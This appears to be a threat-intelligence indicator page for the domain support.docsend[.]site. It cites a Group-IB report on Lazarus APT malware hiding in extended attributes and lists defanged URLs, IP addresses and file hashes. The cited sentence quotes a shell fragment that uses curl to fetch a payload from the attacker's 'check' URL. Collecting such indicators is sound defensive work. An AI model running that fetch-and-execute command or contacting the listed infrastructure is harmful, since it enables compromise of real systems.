support.docsend[.]siteDomain
Reported by 1 independent source · first reported by Group-IB · last reported
Last reported 23 months ago
What the reports say
1 report, newest first · the exact sentence from each-
Stealthy Attributes of Lazarus APT Group: Evading Detection with Extended Attributes“&& (shell=$(curl -L -k "hxxps://support.docsend[.]site/519529/check");”
Indicators reported together
named in the same reports- hxxps://filedn[.]com/lY24cv0IfefboNEIN0I9gqR/dragonfly/Discussion%20Points%20for%20Synergy%20Exploration_Over.pdfin 1 report
- filedn[.]comin 1 report
- hxxps://support.cloudstore[.]business/256977/checkin 1 report
- support.cloudstore[.]businessin 1 report
- hxxps://support.docsend[.]site/519529/checkin 1 report
- 104.168.165[.]203in 1 report
- 104.168.157[.]45in 1 report
- hxxps://filedn[.]com/lY24cv0IfefboNEIN0I9gqRin 1 report
- 7464850d7d689141…c202786f9422in 1 report
- f3e6e8df132155da…37519ab3cb58in 1 report
- e87177e07ab9651b…edd79af0a74fin 1 report
- 022344029b8bf951…9bbaa5e5528ein 1 report
- 9111d458d5665b1b…c11f34d018c2in 1 report
- 4bce97eff4430708…85df25e6d357in 1 report
- 878e3701df9b0abd…75f2c84d8552in 1 report
- 176e8a5a7b6737f8…8aeaf2758c2din 1 report
- 48ee5d0d44a01587…fa8497d57215in 1 report
- a4cab67569d0b35c…6c0a241b792ain 1 report
Copy these 18 indicators · defanged
Thanks — we review every report.